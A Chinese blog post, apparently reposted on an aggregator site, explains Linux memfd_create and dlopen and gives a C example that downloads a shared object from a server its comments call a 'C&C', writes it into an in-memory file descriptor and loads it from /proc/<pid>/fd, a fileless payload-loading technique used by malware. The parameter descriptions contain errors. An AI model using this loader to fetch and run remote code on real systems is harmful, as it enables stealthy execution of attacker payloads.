非文件形式的内存动态函数库调用接口

使用memfd的系统调用接口将动态库加载到proc虚拟文件系统,提供的fd为进程持有的句柄,通过dlopen的path指向此句柄,即可实现非文件系统加载动态链接库。

文章目录

  • 一、memfd_create
  • 二、dl_open
  • 三、示例参考

在这里插入图片描述
在这里插入图片描述


一、memfd_create

接口名称int memfd_create(const char *name, unsigned int flags, unsigned int mode)
场景描述memfd_create() 函数用于创建一个内存文件描述符,该文件描述符指向一个内存区域。
输入参数name :内存区域的名称。如果为空字符串,则内存区域将没有名称。flags :内存区域的标志。 MEMFD_CLOEXEC :在文件描述符关闭时,该内存区域也会被自动释放。MEMFD_ALLOW_SEALING :允许将内存区域密封。mode :内存区域的权限。
输出参数函数返回一个文件描述符,该文件描述符指向内存区域。如果创建内存区域失败,则返回 -1 ,并设置 errno 为错误码。
备注如果 flags 参数设置为 MEMFD_CLOEXEC ,则在文件描述符关闭时,该内存区域也会被自动释放。

二、dl_open

|dl_open() 函数用于打开一个动态链接库。它返回一个指向动态链接库句柄的指针,该句柄可以用于访问动态链接库中的符号。

接口名称void *dl_open(const char *filename, int mode)
场景描述dl_open() 函数用于打开一个动态链接库。它返回一个指向动态链接库句柄的指针,该柄可以用于访问动态链接库中的符号。
输入参数filename :动态链接库的文件名。mode :动态链接库的打开模式。RTLD_LAZY :延迟解析动态链接库中的符号。 RTLD_NOW :立即解析动态链接库中的符号。 RTLD_GLOBAL :将动态链接库中的符号导出到全局符号表中。RTLD_LOCAL :将动态链接库中的符号导出到局部符号中。
输出参数函数返回一个指向动态链接库句柄的指针,该句柄可以用于访问动态链接库中的符号。如果打开动态链接库失败,则返回 NULL 。
备注

三、示例参考

#define _GNU_SOURCE#include <curl/curl.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>        /* For mode constants */
#include <fcntl.h>           /* For O_* constants */
#include <errno.h>#define SHM_NAME "IceIceBaby"// Wrapper to call memfd_create syscall
inline int memfd_create(const char *name, unsigned int flags) {return syscall(__NR_memfd_create, name, flags);
}// Returns a file descriptor where we can write our shared object
int open_ramfs(void) {int shm_fd;shm_fd = memfd_create(SHM_NAME, 1);if (shm_fd < 0) { //Something went wrong :(fprintf(stderr, "[- Could not open file descriptor\n");exit(-1);}return shm_fd;
}// Callback to write the shared object
size_t write_data (void *ptr, size_t size, size_t nmemb, int shm_fd) {if (write(shm_fd, ptr, nmemb) < 0) {fprintf(stderr, "[-] Could not write file :'(\n");close(shm_fd);exit(-1);}printf("[+] File written!\n");
}// Download our share object from a C&C via HTTPs
int download_to_RAM(char *download) {CURL *curl;CURLcode res;int shm_fd;shm_fd = open_ramfs(); // Give me a file descriptor to memoryprintf("[+] File Descriptor Shared Memory created, used by memfd_create\n");curl = curl_easy_init();if (curl) {curl_easy_setopt(curl, CURLOPT_URL, download);curl_easy_setopt(curl, CURLOPT_WRITEDATA, shm_fd); //Args for our callbackcurl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data); //Callback// Do the HTTPs request!res = curl_easy_perform(curl);curl_easy_cleanup(curl);return shm_fd;}
}// Load the shared object
void load_so(int shm_fd) {char path[1024];void *handle;printf("[+] Trying to load Shared Object!\n");snprintf(path, 1024, "/proc/%d/fd/%d", getpid(), shm_fd);handle = dlopen(path, RTLD_LAZY);if (!handle) {fprintf(stderr,"[-] Dlopen failed with error: %s - %s\n", dlerror(), strerror(errno));}
}int main (int argc, char **argv) {char *url = "http://127.0.0.1:8000/module1.so";int fd;printf("[+] Trying to reach C&C & start download...\n");fd = download_to_RAM(url);load_so(fd);exit(0);
}

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/487682.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ElfBoard开源项目|基于百度智能云平台的车牌识别项目

本项目基于百度智能云平台&#xff0c;旨在利用其强大的OCR服务实现车牌号码的自动识别。选择百度智能云的原因是其高效的API接口和稳定的服务质量&#xff0c;能够帮助开发者快速实现车牌识别应用。 本项目使用摄像头捕捉图像后&#xff0c;通过集成百度OCR服务的API&#xf…

【51单片机】程序实验1112.外部中断-定时器中断

主要参考学习资料&#xff1a;B站【普中官方】51单片机手把手教学视频 前置知识&#xff1a;C语言 单片机套装&#xff1a;普中STC51单片机开发板A4标准版套餐7 码字不易&#xff0c;求点赞收藏加关注(•ω•̥) 有问题欢迎评论区讨论~ 目录 程序实验11&12.外部中断-定时器…

Linux基础(2)完结

声明 学习视频来自 B 站up主泷羽sec&#xff0c;如有涉及侵权马上删除文章。 在学习的过程中记笔记&#xff0c;分享笔记方便各位师傅学习&#xff0c;以下内容只涉及学习内容&#xff0c;任何其他违法行为与本人及泷羽sec无关&#xff0c;请务必遵守法律法规&#xff0c;切莫逾…

【重生之我在B站学MySQL】

MySQL笔记 文章目录 MySQL的三层结构SQL语句分类sql语句数据库操作创建数据库查看、删除数据库 表操作创建表mysql常用数据类型(列类型)查询表、插入值创建表练习创建一个员工表emp 修改表mysql约束primary key(主键)not null(非空)unique(唯一)foreign key(外键)check自增长 索…

springSecurity自定义登陆接口和JWT认证过滤器

下面我会根据该流程图去自定义接口&#xff1a; 我们需要做的任务有&#xff1a; 登陆&#xff1a;1、通过ProviderManager的方法进行认证&#xff0c;生成jwt&#xff1b;2、把用户信息存入redis&#xff1b;3、自定义UserDetailsService实现到数据库查询数据的方法。 校验&a…

【adb】iqoo系统精简垃圾内置应用

免责声明 这个得谨慎点&#xff0c;虽然我验证过两部手机和不同版本的系统&#xff0c;但是总会有特殊的存在、 本教程来自于互联网搜集整理&#xff0c; 按照本教程造成的用户设备硬件或数据损失&#xff0c;本人概不承担任何责任&#xff0c;如您不同意此协议&#xff0c;请不…

计算机视觉:学习指南

一、引言 计算机视觉作为人工智能领域的一个重要分支&#xff0c;致力于让计算机理解和解释视觉信息&#xff0c;近年来取得了令人瞩目的进展&#xff0c;广泛应用于安防监控、自动驾驶、图像编辑、医学影像分析等众多领域。从入门到精通计算机视觉需要系统地学习一系列知识和…

汽车升级到底应不应该设置“可取消“功能

最近&#xff0c;汽车OTA&#xff08;Over-the-Air&#xff09;升级频频成为车主讨论的热点。有些车主反映&#xff0c;一些升级增加了实用功能&#xff0c;而另一些却让体验变得复杂甚至带来不便。于是&#xff0c;大家不禁发问&#xff1a;汽车升级功能究竟应不应该允许“可取…

三菱FX3uPLC输入接线注意事项

FX3u微型控制器(DC输入型)的输入根据外部接线&#xff0c;漏型输入和源型输入都可使用。 但是,一定要连接S/S端子的接线。 详细事宜请参考“FX3U系列微型控制器硬件说明手册 AC电源型的输入接线事例(FX3U-囗MR/UA1除外) DC电源型的输入接线事例 *请不要与(0V)、(24V)端子接线…

一文说清flink从编码到部署上线

引言&#xff1a;目前flink的文章比较多&#xff0c;但一般都关注某一特定方面&#xff0c;很少有一个文章&#xff0c;从一个简单的例子入手&#xff0c;说清楚从编码、构建、部署全流程是怎么样的。所以编写本文&#xff0c;自己做个记录备查同时跟大家分享一下。本文以简单的…

过滤器Filter,ajax异步请求,服务器响应的数据类型,json

1.过滤器Filter 按照过滤规则筛选出想要的资源 很多地方都需要判断是否登录&#xff0c;对每个资源进行判断&#xff0c;非常麻烦&#xff0c;可以使用过滤器在访问这些资源前进行判断。 案例&#xff1a; package com.ghx.filter;import javax.servlet.*; import javax.ser…

【网络协议栈】TCP/IP协议栈中重要协议和技术(DNS、ICMP、NAT、代理服务器、以及内网穿透)

每日激励&#xff1a;“请给自己一个鼓励说&#xff1a;Jack我很棒&#xff01;—Jack” 绪论​&#xff1a; 本章是TCP/IP网络协议层的完结篇&#xff0c;本章将主要去补充一些重要的协议和了解一些网络中常见的名词&#xff0c;具体如&#xff1a;DNS、ICMP、NAT、代理服务器…

服务器数据恢复—LINUX下各文件系统删除/格式化的数据恢复可行性分析

Linux操作系统是世界上流行的操作系统之一&#xff0c;被广泛用于服务器、个人电脑、移动设备和嵌入式系统。Linux系统下数据被误删除或者误格式化的问题非常普遍。下面北亚企安数据恢复工程师简单聊一下基于linux的文件系统&#xff08;EXT2/EXT3/EXT4/Reiserfs/Xfs&#xff0…

因果推荐CIKM24 | 通过偏好感知因果干预和反事实数据增强来提升序列推荐

论文来源&#xff1a;CIKM 24 论文链接&#xff1a;PACIFIC: Enhancing Sequential Recommendation via Preference-aware Causal Intervention and Counterfactual Data Augmentation | Proceedings of the 33rd ACM International Conference on Information and Knowledge …

如何在 Odoo18 视图中添加关联数据看板按钮 | 免费开源ERP实施诀窍

文 / 开源智造 Odoo亚太金牌服务 引言 关联数据看板按钮乃是 Odoo 当中的一项强效功能&#xff0c;它容许用户顺遂地访问相关记录&#xff0c;或者直接从模型的表单视图施行特定操作。它们为用户给予了对重要信息的疾速访问途径&#xff0c;并简化了工作流程&#xff0c;由此…

提升网站流量的关键:AI在SEO关键词优化中的应用

内容概要 在当今数字时代&#xff0c;提升网站流量已成为每个网站管理员的首要任务。而人工智能的技术进步&#xff0c;为搜索引擎优化&#xff08;SEO&#xff09;提供了强有力的支持&#xff0c;尤其是在关键词优化方面。关键词是连接用户需求与网站内容的桥梁&#xff0c;其…

腾讯图标/百并发

腾讯新图标&#xff0c;识别速度7毫秒&#xff0c; 百并发无压力

python和C++中的逻辑与/或、位与/或

在 Python 和 C 中&#xff0c;“与”和“或”的实现逻辑相似&#xff0c;但符号和使用方式有区别。 1.Python 中的与、或 与&#xff08;AND&#xff09;&#xff1a;and或&#xff08;OR&#xff09;&#xff1a;or 1.1 逻辑与、或&#xff1a; 用于布尔值&#xff08;Tr…

PR基本操作

将剪辑添加到序列 1.在项目面板中选择素材&#xff0c;右击插入或覆盖选项&#xff0c;添加的素材依指针所在位置为起点。 上图画框位置会影响素材插入的轨道。 2.直接拖动素材到对应的时间轴轨道即可 3.拖动素材到节目监视器 在此项前插入&#xff1a;在V1轨道当前指针所…

如何配置Github并在本地提交代码

前提: 可以流畅访问github, 需要一些上网技巧, 这就自行处理了 申请一个github账号 Github官网地址 首先就是邮箱注册啦, github没有对邮箱的限制, 只要是能收邮件的就ok, qq邮箱, 163等都可以使用. 然后和普通注册账号一样, 一路填写需要的信息, 验证邮箱即可. 如何新增代…